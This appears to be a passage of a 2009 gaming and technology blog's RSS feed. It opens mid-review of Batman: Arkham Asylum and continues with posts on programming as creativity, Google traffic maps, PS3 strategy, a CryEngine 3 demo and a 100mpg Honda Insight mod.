<li>Graphics/Art Design: The game is gorgeous. The backgrounds and environment are pretty enough to stand and stare at and the character models and animation are terrific.  The level of detail in both the environmental assets as well as the character models is truly impressive. The art design reflects the darkness of the story with aesthetics reminiscent of Jim Lee&#8217;s work on the Hush storyline or All-Star Batman and Robin. These are gritty looking characters to go with a gritty looking game and Harley Quinn and Poison Ivy have never been sexier.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-joker-pointing-pistol.jpg"><img class="size-large wp-image-6449 aligncenter" title="batman-arkham-asylum-screenshot-joker-pointing-pistol" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-joker-pointing-pistol-500x281.jpg" alt="batman-arkham-asylum-screenshot-joker-pointing-pistol" width="500" height="281" /></a></p>
<ul>
<li>Story: The story, written by Paul Dini of the animated series,  isn&#8217;t intricate particularly and there aren&#8217;t many twists and turns along the way but it is very much a classic Batman story that is both interesting and engaging. Joker&#8217;s plan unfolds nicely as you progress through the story and there is just enough intrigue to keep you interested. The scripting is also spot on and easily stands with the Animated Series. It is also very dark and gritty, much more so than we&#8217;ve seen in previous game efforts. The language and violence is roughly PG-13 and tracks with the general feel of the Nolan films without quite getting to Miller&#8217;s Dark Knight Returns level of darkness.</li>
</ul>
<ul>
<li>Voice Acting: The major voice actors from the Animated Series reprise their roles here including Kevin Conroy as Batman, Mark Hamil as Joker and Arleen Sorkin as Harley Quinn. It takes a minute to get used to the voices from the Animated Series coming out of dark and edgy looking characters but once it sinks in the voices really make the experience feel like Batman. Conroy has been voicing Batman for over 10 years an is true to form here. He is a relief from the raspy and almost unintelligible delivery from Christian Bale in the movies.  Mark Hamil is absolutely flawless as the Joker which is a really good thing since he talks to you over the intercom incessantly. And Sorkin does a great job of Harley, which makes since given that the character was created for her. The other voice actors all acquit themselves equally well with Wally Wingert&#8217;s Riddler being another stand-out.</li>
</ul>
<ul>
<li>Controls: I am always very appreciative of games that don&#8217;t make me want to break my controller. In the case of some melee heavy combat games and stealth games, I find myself wanting to put my controller through the wall. Intuitive controls seem to be particularly elusive to the stealth genre. As much as I like Metal Gear the controls make me want to scream. Watching Snake lay down on the ground while enemies put bullets in his ass is very frustrating. Sneaking and CQC in such games also usually make me want to rip my hair out. In fact, I will go so far as to say that I don&#8217;t really care for stealth games at all and most of that is due to the controls. When it comes to stealth here, I have no complaints.  It is never frustrating to do what I want to do and the controls are very precise and responsive. Likewise, the combat and detective segments work so well in large part because of how successful the controls are.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-kick-goon-head.jpg"><img class="size-large wp-image-6450 aligncenter" title="batman-arkham-asylum-screenshot-batman-kick-goon-head" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-kick-goon-head-500x281.jpg" alt="batman-arkham-asylum-screenshot-batman-kick-goon-head" width="500" height="281" /></a></p>
<ul>
<li>Combat: I&#8217;ve mentioned it a couple of times already but the fighting in the game is really good. It is a very simple concept and is easy to get the hang of but is difficult to master. There is one button to attack, one to counter, one to dodge and one to distract.  One attack buttons sounds like things will get boring and stale but this is not the case. As you are surrounded by enemies you hit the attack button and press in the direction of the attacker you want to deal with. Batman responds in a contextually appropriate manner and you can keep hitting the attacker in front of you or you can press in the direction of another attacker to move on to him. You also get a spider-sense like indicator when one of them is going to attack which allows you to counter, a simple button press that triggers a series of moves that often include stripping a weapon and scoring multiple hits. The evade button allows you to dive over and around attackers to flank and maneuver the attackers where you want them. If you did this repetitively to one or two attackers all the time, it would get boring fast but in this case you are often surrounded by several attackers at once and you do all of these things together to form combos that are truly bad ass. Batman has some crazy moves and he uses them to put some serious hurt on Joker&#8217;s thugs. It really looks painful. What really makes the combat shine here is that you can change up your tactics on the fly and each fight is unique. That they throw in special thugs with knifes and stun guns that require special techniques to take them down just further shows the level of variety in what could have been a really boring system.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-drop-down-sneak-attack.jpg"><img class="size-large wp-image-6451 aligncenter" title="batman-arkham-asylum-screenshot-batman-drop-down-sneak-attack" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-drop-down-sneak-attack-500x281.jpg" alt="batman-arkham-asylum-screenshot-batman-drop-down-sneak-attack" width="500" height="281" /></a></p>
<ul>
<li>Stealth Sections: Now I mentioned this in the controls but more needs to be said. Basically, Batman wears body armor that is somewhat bullet resistant but a dude with a machine gun is going to kill him all kinds of dead. You get six such guys together and Batman has to be a bit more subtle. Enter the stealth segments. Generally you get four to six machine gun and shotgun carrying fools patrolling and area and you have to deal with them. You can do this a variety of ways. If you go up into the air on to ledges and gargoyles you can hang upside down and grab them and string them upside down by a wire or you can perform a glide kick which allows you to do a follow up knock out move. If you want to be more ground based you can sneak up behind them and do a silent take down or hit them with a batarang and then finish them off with some quick punches while they  are down. You can hang from ledges and pull them over the side, or set up charges to blow up sections of wall to knock them out or take out sections of the floor to drop them to the level below&#8230;you just have a staggering number of options here and Detective Mode, which is essentially an infared view showing the thugs&#8217; skeletons through walls and the floor, allows you to set up your strategy with ease. These sections could have been tacked on but they are very fun and challenging and are every bit a puzzle as the actual puzzle segments. Occasionally they will throw some extra variety in and put a hostage at risk if anyone even hears you. Good times.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-concluded.jpg"><img class="size-full wp-image-6452 aligncenter" title="batman-arkham-asylum-screenshot-concluded" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-concluded.jpg" alt="batman-arkham-asylum-screenshot-concluded" width="470" height="259" /></a></p>
<ul>
<li>Gadgets: Batman is well known for his gadgets and they are well on display here. From batarangs to grappling hooks everything you get is effective and useful. Your standard grappling hook lets you reach the high ground and get out of situations most people couldn&#8217;t and can allow you to grab thugs and pull them toward you or off ledges. The standard batarang can be upgraded to allow you to throw up to three at once and also comes in a remote control and sonic emitter variety. Then you have small explosive charges to set and a wireless hacking device. All of the stuff Batman carries makes sense and seems like it could exist if there was actually a Batman and makes sense for the character. There&#8217;s no &#8216;Batskates&#8217; nonsense nor is there anything that you will never use. Everything is useful and you will use it often.</li>
</ul>
<ul>
<li>Replay: There is just a ton to do here in addition to main story goals. That isn&#8217;t to say that you get Spider-man style side quests, but there are a lot of things to collect and puzzles to solve. Aside from that stuff, some of which will get its own bullet point, the game is just fun enough that you want to go back and do it again. The moment I finished the thing I wanted to jump right back in.  There isn&#8217;t mode to play through with your skills and equipment beefed up but it does let you explore Arkham so you can find all the stuff you missed during your play through and that is pretty handy.</li>
</ul>
<ul>
<li>Riddler Challenges: While the Man in Green never physically shows up in the game, he cuts into your radio from time to time to give you a series of 200+ riddles around the asylum. Generally solving these is as simple as going into Detective mode and doing an environmental scan of the answer to the riddle. The riddles aren&#8217;t super difficult but many are clever and they are a fun diversion while you are making your way through the game. Aside from the riddles, there are also Riddler Trophies to look for. These are scattered around, often in hard to reach areas. Collecting these things become a matter of bragging rights to have actually found them.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-squish-ivy-tenticle.jpg"><img class="size-large wp-image-6453 aligncenter" title="batman-arkham-asylum-screenshot-batman-squish-ivy-tenticle" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-batman-squish-ivy-tenticle-500x280.jpg" alt="batman-arkham-asylum-screenshot-batman-squish-ivy-tenticle" width="500" height="280" /></a></p>
<ul>
<li>Easter Eggs: The game is loaded with fan service content. In addition to the Riddler Challenges you also have interview tapes to look for and another mystery involving the spirit of Arkham. The interview tapes are a series of psychiatric interviews with various inmates. These are reminiscent of the recordings you find in Bioshock and are very interesting and often times pretty disturbing. Some of them flesh out the storyline in the game and some are just generally messed up. One interview with the Riddler involving a riddle about a baby is particularly messed up. The Spirit of Arkham is a series of stone obelisks throughout the game that contain coded messages from Arkham&#8217;s founder leading to  a particular mystery.</li>
</ul>
<ul>
<li>Challenge Rooms: As you collect Riddler Trophies and solve mysteries you unlock challenge rooms, a series of combat and stealth rounds where you compete for high scores. This seemed kind of tacked on to me until I started playing and I found them to be addictive. They are pretty much just rooms from the game with time limits and point scores but they are a fun distraction from the story mode. I bought the Xbox version of the game  mostly because of my controller preference but I am kicking myself for not getting the PS3 version which has downloadable challenges where you can play the Joker. Oh well, hopefully it will eventually be available for the 360. I suppose the charge that would accompany it content would be stupid tax.</li>
</ul>
<h3>The Hot</h3>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-harley-quinn-naughty.jpg"><img class="size-large wp-image-6454 aligncenter" title="batman-arkham-asylum-screenshot-harley-quinn-naughty" src="http://www.breakitdownblog.com/wp-content/uploads/2009/09/batman-arkham-asylum-screenshot-harley-quinn-naughty-500x375.jpg" alt="batman-arkham-asylum-screenshot-harley-quinn-naughty" width="500" height="375" /></a></p>
<ul>
<li>Harley Quinn: Damn. That is all I am saying.</li>
</ul>
<h3>The Bad</h3>
<ul>
<li>It ended.</li>
</ul>
<h3>Conclusion [10 out of 10]</h3>
<p>I am kind of forcing myself to wrap up here. There is a lot more that can be said about this game and my love for it is the sort usually reserved for one&#8217;s children. I don&#8217;t give it a perfect score lightly and I am not one to throw that sort of score around willy nilly. This game deserves it, though, and while game reviews are just subjective opinions, if you don&#8217;t like it I have to seriously question whether you really like video games or not. I really hope that a sequel will be forth coming and I hope they don&#8217;t change it too much. If other developers use this game as a template we could see some really great things come out of it. I can&#8217;t recommend it highly enough and you really to go out at get it as soon as possible.</p>
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		<title>I’m a Closet Artist… Apparently</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/SGOP6-DXw-0/</link>
		<comments>http://www.breakitdownblog.com/im-a-closet-artist-apparently/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 13:27:46 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Life & World]]></category>
		<category><![CDATA[artistic]]></category>
		<category><![CDATA[depression]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[personality]]></category>
		<category><![CDATA[productivity]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[psychology]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6439</guid>
		<description><![CDATA[
I&#8217;ve always identified myself as a &#8220;scientific person&#8221;. I have a Computer Science degree (virtual high-five to Laurence Hartje), I&#8217;ve been obsessed with computers and technical gadgetry since I was 10 (virtual high-five to Grant Gochnauer) and I glommed onto software development at the age of 12 and have loved it ever since. I pretty [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/afgan-artist-fatina-bfinafi.jpg"><img class="size-large wp-image-6440 aligncenter" title="afgan-artist-fatina-bfinafi" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/afgan-artist-fatina-bfinafi-500x407.jpg" alt="afgan-artist-fatina-bfinafi" width="500" height="407" /></a></p>
<p>I&#8217;ve always identified myself as a &#8220;scientific person&#8221;. I have a Computer Science degree (virtual high-five to <strong>Laurence Hartje</strong>), I&#8217;ve been obsessed with computers and technical gadgetry since I was 10 (virtual high-five to <strong>Grant Gochnauer</strong>) and I glommed onto software development at the age of 12 and have loved it ever since. I pretty much always assumed that I was a walking robot &#8212; with a sense of humor.</p>
<p>My dad is very precision-minded&#8230; if he sets out to do something, he draws it up, plans it out and executes it a step at a time. That sounds like me, I like planning, I like execution, I like precision &#8212; so I pretty much have always assumed I was a &#8220;technical guy&#8221;, a &#8220;logical shitbag&#8221; as it were, until 3 days ago.</p>
<p>I noticed that when I go through bouts of no programming or I have nothing <a href="http://www.kallasoft.com/smugmug-downloader/">worth</a>-<a href="http://www.kallasoft.com/smugmug-java-api/">while</a> to work on, I actually get depressed. It&#8217;s really subtle, and I was never able to pinpoint it until recently. I also cannot just start &#8220;coding&#8221; anything and suddenly be happy, there has to be a purpose to what I&#8217;m doing and the purpose, 9 times out of 10, has to be building something that will help people. I can&#8217;t just build a porn downloader or a hilarious cat-picture-shuffler, it&#8217;s got to be something really useful that makes a person go &#8220;Goddamn, this is awesome&#8230;&#8221;</p>
<p>We had lunch the other day with some good friends, she&#8217;s one of the leading psychologists in Tucson and we got to talking about what our passions were. When I mentioned that I had some inkling that it might be &#8220;&#8230; programming&#8221; and how that &#8220;made no sense to me&#8221;, she jumped in with:</p>
<p style="padding-left: 30px;"><em>Oh no, it&#8217;s very common for technical people to be very creative&#8230; programming is your artistic outlet. Some people play the piano or paint to get their artistic energy out &#8212; you program.</em></p>
<p>Seriously? I&#8217;m <em>artistic</em>?</p>
<p>&#8230; ok I guess I can see it, I do have the following personality traits:</p>
<ul>
<li>I love flexible rules, gray areas</li>
<li>I hate rigid unmovable/absolute <em>things</em></li>
<li>I like flexible people, creativity, humor</li>
<li>I love opportunities around every corner, excitement</li>
<li>Myers-Briggs says I&#8217;m an ENFJ</li>
<li>&#8230; if time allows it, I love treating code as art, it&#8217;s so much prettier that way <img src='http://www.breakitdownblog.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </li>
</ul>
<p>Hmmm, ok those sound a lot like personality traits that a 1st year art student would have. I guess I am artistic.</p>
<p>One of the best things I&#8217;ve done in the recent past was to take a <a href="http://www.humanmetrics.com/cgi-win/JTypes2.asp">detailed Myers-Briggs test</a> and learn what my personality type is and more about my personality type. My triggers, things that motivate me, things that de-motivate me and so on.</p>
<p>Prior to this I was struggling with feeling motivated to wake up in the morning, but afterward I had a better understanding exactly as to &#8220;why&#8221; I was feeling this way. Most all of it had to do with lack of opportunities, I was getting too set in a pattern that was turning into my day-in-day-out life and that was killing me inside slowly. I found different ways to inject some excitement into my life to combat that without needing to uproot the family and move to Guam&#8230; which was plan B.</p>
<p>I&#8217;d recommend anyone feeling a general sense of milase or depression to do the same &#8212; if for no other reason than just to learn a bit more about themselves. You might find something that speaks to you instantly and let you know what it is you have to change to make <em>your</em> life better for <em>you</em>.</p>
<p>So in closing, if you are a technical person, you might be a closet artist too&#8230; if you are, don&#8217;t discredit how happy coding might make you. If you are currently dying a slow death programming at a big company on nothing that interests you or feeds your soul, try and start a side project to get your brain flowing again. You need to take this seriously if this is really what feeds your soul.</p>
<p>Not wanting to get out of bed in the morning is probably the worst feeling in the world for us creative types.</p>
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		<title>Google Traffic on Surface Streets Not Perfect</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/zcMEDqq0cwg/</link>
		<comments>http://www.breakitdownblog.com/google-traffic-on-surface-streets-not-perfect/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 20:57:53 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[buggy]]></category>
		<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[surface streets]]></category>
		<category><![CDATA[traffic]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6433</guid>
		<description><![CDATA[
Late for work? Just zoom-in!
As Chris Hunkele points out, Google has launched traffic information for surface streets (no longer just interstates), but it&#8217;s not perfect just yet. Chris tells us:
&#8230; it&#8217;s a little buggy, look at the east west curvy street (greenway), when zoomed in the traffic is fine, when zoomed out it&#8217;s red, you [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/google-backstreet-traffic-not-accurate.png"><img class="size-large wp-image-6434 aligncenter" title="google-backstreet-traffic-not-accurate" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/google-backstreet-traffic-not-accurate-500x193.png" alt="google-backstreet-traffic-not-accurate" width="500" height="193" /></a></p>
<p>Late for work? Just zoom-in!</p>
<p>As <strong>Chris Hunkele</strong> points out, Google has launched traffic information for surface streets (no longer just interstates), but it&#8217;s not perfect just yet. Chris tells us:</p>
<p style="padding-left: 30px;"><em>&#8230; it&#8217;s a little buggy, look at the east west curvy street (greenway), when zoomed in the traffic is fine, when zoomed out it&#8217;s red, you can keep zooming in and out and it will just keep reporting the same thing&#8230; <img src='http://www.breakitdownblog.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </em></p>
<p>Something that Chris is ignoring is how powerful Google really is&#8230; it&#8217;s entirely possible when you zoom in <em>too much</em>, Google is changing the traffic lights to adjust the flow of traffic &#8212; so the results are actually accurate.</p>
<p>Also&#8230; Chris&#8230; you might want to stop zooming in on Greenway, backing all that traffic up <img src='http://www.breakitdownblog.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
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		<title>PS3 May Win… Years From Now with 3D and Motion Control</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/oS8l8oM2x-Y/</link>
		<comments>http://www.breakitdownblog.com/ps3-may-win-years-from-now-with-3d-and-motion-control/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 13:50:16 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[3D Vision]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[future]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[motion control]]></category>
		<category><![CDATA[Nintendo]]></category>
		<category><![CDATA[NVIDIA]]></category>
		<category><![CDATA[PS3]]></category>
		<category><![CDATA[Sony]]></category>
		<category><![CDATA[strategy]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6428</guid>
		<description><![CDATA[
Back when the PS3 and Xbox 360 were first announced, we aren&#8217;t ashamed to say that we were avid fans of the PS3 platform&#8230; much more so than the self-aborting Xbox 360. It was a much higher build quality, the technical achievement of the Cell Processor was ridiculously complex and therefore impressive, it played Blu-ray [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/ibm-cell-processor-overview.jpg"><img class="size-large wp-image-6429 aligncenter" title="ibm-cell-processor-overview" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/ibm-cell-processor-overview-500x363.jpg" alt="ibm-cell-processor-overview" width="500" height="363" /></a></p>
<p>Back when the PS3 and Xbox 360 were first announced, we aren&#8217;t ashamed to say that we were <em>avid fans</em> of the PS3 platform&#8230; much more so than the <a href="http://www.breakitdownblog.com/tag/rrod/">self-aborting Xbox 360</a>. It was a much higher build quality, the technical achievement of the <a href="http://en.wikipedia.org/wiki/Cell_%28microprocessor%29">Cell Processor</a> was ridiculously complex and therefore impressive, it played Blu-ray disks&#8230; the list went on and on.</p>
<p>The unfortunate reality, 2 years later, is that my Xbox 360 sees 80% of my game time on it because the multiplayer/online experience is just so much better &#8212; that&#8217;s a <em>software</em> problem, not a <em>hardware</em> problem. Unfortunately Sony likes to move at the pace of an elephant, and instead of matching parity with Microsoft immediately with friend-connectivity functionality and at least keeping the argument of &#8220;Which one is better&#8221; going, in true Japanese fashion, they decided to focus on hardcore functionality instead.</p>
<p><em>Right now</em>, the Xbox 360 is a better gaming experience. Sony has promised us a 10-year product cycle with the PS3 however, and with some of the more recent <a href="http://www.ubergizmo.com/15/archives/2009/08/ps3_30_update.html">PS3 platform</a> and <a href="http://www.breakitdownblog.com/cryengine-3-ps3-tech-demo/">3rd party engine</a> enhancements, it looks like the platform is <em>finally</em> starting to come into it&#8217;s own.</p>
<p>While PS3 still cannot rival Microsoft&#8217;s crafted gaming experience on the PS3, they are getting closer&#8230; but that&#8217;s not the interesting part.</p>
<p>When you sit and think about what it would take for Sony to &#8220;win&#8221; in the long-run, you have to think about what the new hotness is in gaming, more specifically two things:</p>
<ul>
<li>Motion control</li>
<li>3D (???)</li>
</ul>
<p>Nintendo did pioneer motion control and got it into everyone&#8217;s minds and homes, but it wasn&#8217;t the &#8220;1:1&#8243; experience we thought it would be, nor is the new Wii MotionPlus.</p>
<p>Sony has already shown us that they&#8217;ve been working on visual motion control, again promising 1:1 motion-mapping experience&#8230; maybe we&#8217;ll get it this time?</p>
<p><a href="http://www.breakitdownblog.com/ps3-may-win-years-from-now-with-3d-and-motion-control/"><em>Click here to view the embedded video.</em></a></p>
<p>In addition to that, NVIDIA has quietly been promoting their <a href="http://www.nvidia.com/object/3D_Vision_Overview.html">3D Vision product</a>, to deliver a true 3D gaming experience to PC gamers that have:</p>
<ul>
<li>GeForce 8-series or higher</li>
<li>Display capable of 120hz or higher</li>
</ul>
<p>If you recall, the <a href="http://en.wikipedia.org/wiki/RSX_%27Reality_Synthesizer%27">NVIDIA RSX</a> graphics chip inside the PS3 actually provided the launch base for the 8-series of PC graphics cards. And as far as 120hz displays, they are <a href="http://www.amazon.com/gp/search/ref=sr_nr_n_0?rh=n%3A172282%2Cn%3A!493964%2Ck%3A120hz+HDTV%2Cn%3A1266092011%2Cn%3A172659&amp;bbn=1266092011&amp;keywords=120hz+HDTV&amp;ie=UTF8&amp;qid=1250689049&amp;rnid=1266092011"><em>all over the place</em></a> when it comes to televisions (but not necessarily PC monitors).</p>
<p>&#8230; do you see the trend forming here? Let&#8217;s recap:</p>
<ol>
<li>Sony&#8217;s R&amp;D to Product cycle moves at a glacial pace, but it moves.</li>
<li>Sony launched the PS3 as an unnecessarily complex/functionally advanced technology platform.</li>
<li>Motion-controls and 3D are becoming the new hotness in gaming, discussed at all the gaming conventions for the last year.</li>
<li>Sony showed off some R&amp;D progress they&#8217;ve made with visual motion-control last year.</li>
<li>Sony has a 3D-enabled graphics processor already shipping inside the original PS3</li>
<li>Most television sets sold in the last year (and possibly longer) provide support for 120hz, the base requirement for successful 3D rendering.</li>
<li>FUTURE: In 2011 Sony releases motion control for the PS3</li>
<li>FUTURE: In 2012 Sony releases 3D glasses for the PS3, providing a comprehensively detailed &#8220;experience&#8221; in your living room.</li>
<li>FUTURE: 2013 Sony hints at the PS4, which will ship with all these features out of the box.</li>
<li>FUTURE: 2014 Sony demos off advanced tech for the upcoming PS4</li>
<li>FUTURE: 2015 Sony announces the PS4 for Christmas of 2015, it includes 1080p 3D rendering, full 1:1 body-motion control (no more need for devices)</li>
</ol>
<p>The bread crumb trail is there and it all seems to point at this. I have no idea what Microsoft and Nintendo will do in response. I wouldn&#8217;t expect main-stream 3D from Nintendo until 2018 or later (that sounds like a long time, but Nintendo won&#8217;t do anything that is &#8216;cutting edge&#8217;, they make too much money re-selling us their last-gen game systems).</p>
<p>Microsoft will absolutely fight Sony tooth and nail down this path, but given Microsoft&#8217;s history with human-computer interaction, I&#8217;m going to guess their motion-mapping is going to <a href="http://www.youtube.com/watch?v=2Y_Jp6PxsSQ">have problems for years</a>.</p>
<p><strong>Deciding Factor</strong>: It&#8217;s cheaper for content developers to leverage their existing technology stacks, engines, frameworks and previous game assets for a long-standing platform than it is to develop new technology for a new platform. We saw this with <em>Windows XP</em> for 100 years and again with <em>Nintendo Wii</em>.</p>
<p>Giving game developers 10 years to develop an expertise and asset library around a platform and then letting them continue to leverage that for better and better selling titles is going to be huge. I fully expect Microsoft to introduce a new revision to the Xbox family in 2012 that will cause moaning and groaning from game companies that have to re-evaluate their tool stock and see what works and what doesn&#8217;t &#8212; starting from scratch in some regards.</p>
<p>It&#8217;s interesting to think about&#8230; in a few years, the PS3 might win afterall.</p>
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		<item>
		<title>CryEngine 3 PS3 Tech Demo</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/42NZa-pPzmY/</link>
		<comments>http://www.breakitdownblog.com/cryengine-3-ps3-tech-demo/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 13:25:34 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Cevat Yerli]]></category>
		<category><![CDATA[CryEngine 3]]></category>
		<category><![CDATA[Crytek]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[PS3]]></category>
		<category><![CDATA[tech demo]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6426</guid>
		<description><![CDATA[This is more of an aside, but Crytek&#8217;s Cevat Yerli shows off a demonstration of the upcoming (September &#8216;09 release) CryEngine 3 and I&#8217;m floored.
The enhancements that Crytek have gotten into CryEngine 3 are nothing short of amazing, specifically on the PS3. Cevat explains that over the years they have had two R&#38;D engine teams [...]]]></description>
			<content:encoded><![CDATA[<p>This is more of an aside, but Crytek&#8217;s Cevat Yerli shows off a demonstration of the upcoming (September &#8216;09 release) CryEngine 3 and I&#8217;m floored.</p>
<p>The enhancements that Crytek have gotten into CryEngine 3 are nothing short of amazing, specifically on the PS3. Cevat explains that over the years they have had two R&amp;D engine teams internal to CryTek: 1 PC Team and 1 PS3 Team.</p>
<p>As some of you may know, developing for the Xbox 360 was made intentionally easy by Microsoft by wrapping most all of the PC-based APIs up in some proprietary Xbox 360 APIs, but for the most part leaving them intact. So developing for the Xbox 360 and PC were really straight forward, especially for companies with a long history in PC gaming like Valve &#8212; <a href="http://www.google.com/#hl=en&amp;safe=off&amp;q=gabe+newell+hates+ps3&amp;aq=f&amp;aqi=&amp;aq=f&amp;aqi=&amp;fp=48830840a98bb3c5">who hate the PS3</a>.</p>
<p>Unfortunately it seems like developing for the PS3 has been a mind-raping experience for most developers. It was either the bare-metal APIs at launch that weren&#8217;t doing much abstraction away from the core design principle of &#8220;<a href="http://en.wikipedia.org/wiki/Stream_processing">stream everything</a>, nothing goes in memory&#8221; or the incredibly complex hardware &#8212; that was apparently designed <a href="http://news.cnet.com/sony-ps3-is-hard-to-develop-for-on-purpose/">to be complex intentionally</a>.</p>
<p>Because of this, a good majority of the games that have come out of <em>3rd parties</em> for the PS3, have been sub-par behind their PC or Xbox 360 counterparts.</p>
<p>Cevat explains that the two R&amp;D teams inside of Crytek have actually been combined to move CryEngine 3 so far forward, that now PS3 is performing like their premiere platform &#8212; it&#8217;s pretty incredible when you see the detail and complexity of what they are demoing here:</p>
<p><a href="http://www.breakitdownblog.com/cryengine-3-ps3-tech-demo/"><em>Click here to view the embedded video.</em></a></p>
<p>Something to keep in mind is that there is a lot not going on in these scenes that a finished game would need processing power to drive; like complex AI, many animated characters, complex physics, scripted sequences, sound mixing, etc. There are some portions of that in the demo, so at least we can get an idea of the ballpark they are playing in, and I&#8217;m seriously impressed.</p>
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		<title>Custom Diesel-Electric Honda Insight – 100mpg</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/FD8rxdC4cm0/</link>
		<comments>http://www.breakitdownblog.com/custom-diesel-electric-honda-insight-100mpg/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 15:56:07 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[100mpg]]></category>
		<category><![CDATA[car]]></category>
		<category><![CDATA[custom]]></category>
		<category><![CDATA[diesel]]></category>
		<category><![CDATA[electric]]></category>
		<category><![CDATA[Honda]]></category>
		<category><![CDATA[hybrid]]></category>
		<category><![CDATA[Insight]]></category>
		<category><![CDATA[monopoly]]></category>
		<category><![CDATA[OPEC]]></category>
		<category><![CDATA[Prius]]></category>
		<category><![CDATA[Toyota]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6423</guid>
		<description><![CDATA[Red Light Racing (site currently down) has a story about two mechanics in Maryland that did a custom modification to a standard Honda Insight hybrid gasoline-electric car by replacing the gasoline motor with a diesel motor. Out of the box the default Honda Insight is rated at 40mpg city, 43mpg highway.
During an 1,800-mile road trip [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.breakitdownblog.com/wp-content/uploads/2008/09/honda-hybrid-insight-concept-car.jpg"><img class="alignnone size-medium wp-image-3849" style="float: left; margin-left: 8px; margin-right: 8px;" title="Honda Insight Concept" src="http://www.breakitdownblog.com/wp-content/uploads/2008/09/honda-hybrid-insight-concept-car-475x356.jpg" alt="Honda Insight Concept" width="250" height="187" /></a><a href="http://www.redlightracing.org/">Red Light Racing</a> (site currently down) has a story about two mechanics in Maryland that did a custom modification to a standard <a href="http://automobiles.honda.com/insight-hybrid/">Honda Insight hybrid</a> gasoline-electric car by replacing the gasoline motor with a diesel motor. Out of the box the default Honda Insight is rated at 40mpg city, 43mpg highway.</p>
<p>During an 1,800-mile road trip to test the customization out, they averaged 92mpg, with a minimum of 72mpg through a hilly patch of country road.</p>
<p>The guys have <a href="http://www.redlightracing.org/">documented the entire process</a>, and claim that the electrical subsystem wasn&#8217;t completely functional for the trip, expecting somewhere around 100mpg easily if it had been.</p>
<p>In a wonderful closing note, they mention:</p>
<blockquote><p>If we can do it I don&#8217;t see any reason why major auto manufacturers can&#8217;t do it since we used their parts.</p></blockquote>
<p>Yes&#8230; indeed. Can anyone figure out how people were <a href="http://tech.blorge.com/Structure:%20/2008/04/29/hymotion-creates-100mpg-mod-for-prius/">modding Toyota Prius&#8217;s</a> more than a year ago (and <a href="http://priuschat.com/forums/prius-hybrid-news/10720-100-mpg-honda-insight-mod.html">Honda&#8217;s almost 5 years ago</a>) to get 100mpg and the car manufacturers still can&#8217;t seem to mass-produce a vehicle that can pull that off?</p>
<p>&lt;<em>sarcasm</em>&gt;I bet it&#8217;s a technological hurdle&#8230; <a href="http://www.opec.org/home/">oh wait</a>.&lt;/<em>sarcasm</em>&gt;</p>
